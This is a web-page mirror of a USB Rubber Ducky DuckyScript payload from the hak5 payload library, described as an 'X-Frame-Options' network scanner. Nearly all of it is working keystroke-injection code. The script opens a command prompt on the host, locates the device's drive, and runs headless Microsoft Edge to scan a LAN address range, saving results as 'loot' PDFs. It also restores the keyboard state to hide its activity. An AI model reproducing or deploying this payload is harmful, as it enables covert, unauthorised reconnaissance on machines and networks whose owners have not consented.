Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/recon/x-frame-options_scanner/payload.txt
2968 views
1
REM TITLE : "X-Frame-Options" Scanner
2
REM AUTHOR : TW-D
3
REM TARGET : Microsoft Edge
4
REM VERSION : 1.0
5
REM CATEGORY : Recon
6
REM REQUIREMENT : DuckyScript 3.0
7
8
ATTACKMODE HID STORAGE
9
DELAY 10000
10
11
REM ---
12
REM USB Rubber Ducky label.
13
REM ---
14
DEFINE #RD_LABEL DUCKY
15
16
REM ---
17
REM Format of an allowed IPv4 address range.
18
REM 192.168.0.X-192.168.0.Y where (X < Y)
19
REM ---
20
DEFINE #LAN 192.168.0.1-192.168.0.50
21
22
SAVE_HOST_KEYBOARD_LOCK_STATE
23
24
IF ( $_CAPSLOCK_ON ) THEN
25
CAPSLOCK
26
DELAY 500
27
END_IF
28
29
IF ( $_NUMLOCK_ON == FALSE ) THEN
30
NUMLOCK
31
DELAY 500
32
END_IF
33
34
GUI r
35
DELAY 1500
36
STRINGLN CMD /K "MODE CON:COLS=18 LINES=1 && FOR /F %d IN ('WMIC Volume GET DriveLetter^, Label^|FINDSTR "#RD_LABEL"') DO @SET RD_LABEL=%d"
37
DELAY 2000
38
STRINGLN START MSEDGE --headless --disable-gpu --run-all-compositor-stages-before-draw --print-to-pdf="%RD_LABEL%\loot_%RANDOM%.pdf" "%RD_LABEL%\recon_files\index.html?lan=#LAN" && EXIT
39
40
RESTORE_HOST_KEYBOARD_LOCK_STATE
41
42